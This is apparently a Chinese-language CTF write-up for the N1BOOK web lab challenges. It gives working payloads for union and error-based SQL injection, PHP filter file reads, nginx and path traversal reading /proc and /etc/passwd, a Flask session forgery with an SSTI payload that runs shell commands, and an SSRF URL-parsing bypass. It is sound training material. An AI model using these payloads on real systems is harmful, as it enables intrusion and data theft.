平台地址:N1BOOK平台-Nu1L Team
第一章 Web入门
信息搜集
常见搜集
Des:一共3部分flag。
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-backk:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
既然说到了敏感文件,先试试robots.txt
文件是否存在:
User-agent: *
Disallow:
/flag1_is_her3_fun.txt
访问flag1_is_her3_fun.txt
,获得第一部分flag
。
剩下的工作就是扫描后台了,分别访问index.php~
和.index.php.swp
。
粗心的小李
Des:看看能不能找到信息吧?
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-git:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
Git
泄露,找一下利用工具:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)
使用后会在当前目录生成一个以网站命名的文件夹,cd
进去,发现有一个index.html
文件。flag
就在其中。
SQL注入
SQL注入-1
Des:N/A。
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
访问后发现URL
如下:
http://<ip>:<port>/index.php?id=1
猜测id
是注入点。
判断是否为数字型注入:
http://<ip>:<port>/index.php?id=1-1
页面无变化,继续判断是否为字符型注入:
http://<ip>:<port>/index.php?id=1'
页面错误,用联合查询看一下有几列数据:
http://<ip>:<port>/index.php?id=-1%27union%20select%201,2,3%23
查库名:
http://<ip>:<port>/index.php?id=-1%27union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()%23
查表名:
http://<ip>:<port>/index.php?id=-1%27union%20select%201,group_concat(column_name),1%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23
查字段:
http://<ip>:<port>/index.php?id=-1%27union%20select%201,fllllag,1%20from%20fl4g%23
SQL注入-2
Des:请访问 http://127.0.0.1/login.php http://127.0.0.1/user.php
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
是一个后台登录页面,尝试账密admin/admin
,显示账号或密码错误
,尝试admin'/admin
,显示账号不存在
。猜测存在SQL注入
,用延时函数判断一下注入类型:
admin' and sleep(5)#
页面回显延时5秒,存在字符型注入。继续尝试万能密码,无法登录,正确思路应该不是登录,而是通过注入获得flag
。
使用bp
抓包进行updatexml
报错注入。
URL
:
http://<ip>:<port>/login.php?tips=1
爆数据库名:
name=admin' and updatexml(1,concat(0x7e,(seleselectct group_concat(table_name)from information_schema.tables where table_schema=database())),1)%23&pass=admin
得到两个库名:
fl4g
users
爆表名:
name=admin' and updatexml(1,concat(0x7e,(seleselectct group_concat(column_name)from information_schema.columns where table_name='fl4g')),1)%23&pass=admin
得到一个表名:
flag
爆字段:
name=admin' and updatexml(1,concat(0x7e,(seleselectct (flag)from fl4g)),1)%23&pass=admin
任意文件读取漏洞
afr_1
Des:N/A。
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
访问页面,会自动添加一个?p=hello
参数,尝试修改参数值,更改了几个值页面都是空白,猜测是读写文件。那么就看一看flag
文件是否存在,存在,但是页面回显为no no no
。
猜测使用了php
协议的filter
机制,尝试一下:
http://<ip>:<port>/?p=php://filter/convert.base64-encode/resource=hello
得到一个Base64
编码的字符串,解码如下:
<?php
echo "hello world!";
同理查看flag
文件,获得flag
。
afr_2
Des:N/A。
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
ports:
- 80:80
启动:
docker-compose up -d
解题过程
页面源码如下:
<html>
<head>
<title>u1s1</title>
</head>
<body>
HELLO!
<img src="img/img.gif">
</body>
</html>
看看能否访问img
目录,成功。看了一下网站服务,发现使用了nginx
,那就有可能出现配置不当导致的目录穿越漏洞。
尝试访问如下地址:
http://<ip>:<port>/img../
获得flag。
afr_3
Des:N/A。
环境搭建
docker-compose.yml
:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
启动:
docker-compose up -d
解题过程
网页是一个输入框,且能够进行XSS注入
。
点击提交按钮后继续点击超链接,跳转到一个实例文章页面,URL
如下:
http://<ip>:<port>/article?name=article
尝试修改name
的值,本来想看看是否存在flag
文件,结果打错为fkag
,意外爆出了路径:
继续尝试访问flag
文件,显示没有权限。
再看看能不能读取到其它文件:
http://<ip>:<port>/article?name=../../../etc/passwd
还可以用以下姿势来得到更多的信息:
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
读一下cmdline
:
http://<ip>:<port>/article?name=../../../proc/self/cmdline
回显为pythonserver.py
,猜测题目为python
环境,那么先使用cwd
找一下server.py
文件:
http://<ip>:<port>/article?name=../../../proc/self/cwd/server.py
回显如下:
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key @app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @app.route("/", methods=["GET"])
def index():
return render_template("main.html") @app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args: page = request.args.get('name')
else: page = 'article'
if page.find('flag')>=0: page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
盲猜flag
在flag.py
里,但还是无权限访问,看看key.py
,内容如下:
#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'
通过插件发现网站使用flask
框架,应该有SSTI
模板注入,注意到server.py
里的过滤语句:
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
还有下面的这两句:
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
模板渲染的内容就是n1code
,但n1code
的来源可以为session
,我们就可以利用flask
的session
伪造查看flag
。
伪造session
需要一个密钥,密钥就是key.py
中的那一个字符串。
flask session
加密脚本:noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)
构造语句:
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
工具使用:
python ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
.eJwdikEKgCAQAL8SX1YvQ12CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAP1jNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWad0PkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.X6pHGQ.HTAUFHnMrWWCCfiRJXBNyUdj4IY
发包:
第二章 Web进阶
SSRF漏洞
SSRF Training
Des:
web容器中存在一个flag,mysql中存在一个管理员账号密码,其余容器中均没有特定flag
mysql容器中内置
tcpdump
vulnweb容器中内置一个
fpm.py
攻击脚本
环境搭建
docker-compose.yml
:
version: "3"
services:
web:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
depends_on:
- redis
- vuln
- mysql
ports:
- "80:80"
redis:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest
vuln:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
mysql:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
environment:
- MYSQL_RANDOM_ROOT_PASSWORD=yes
启动:
docker-compose up -d
解题过程
想直接访问flag.php
,直接就出来了:
http://127.0.0.1/flag.php
正确思路应该是利用URL
解析差异,如:
http://[email protected]:[email protected]/flag.php
进入safe_request_curl
后,curl
获取到的是127.0.0.1:80/flag.php
,parse_url
获取到的host
是google.com
,利用解析差异实现SSRF
攻击。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。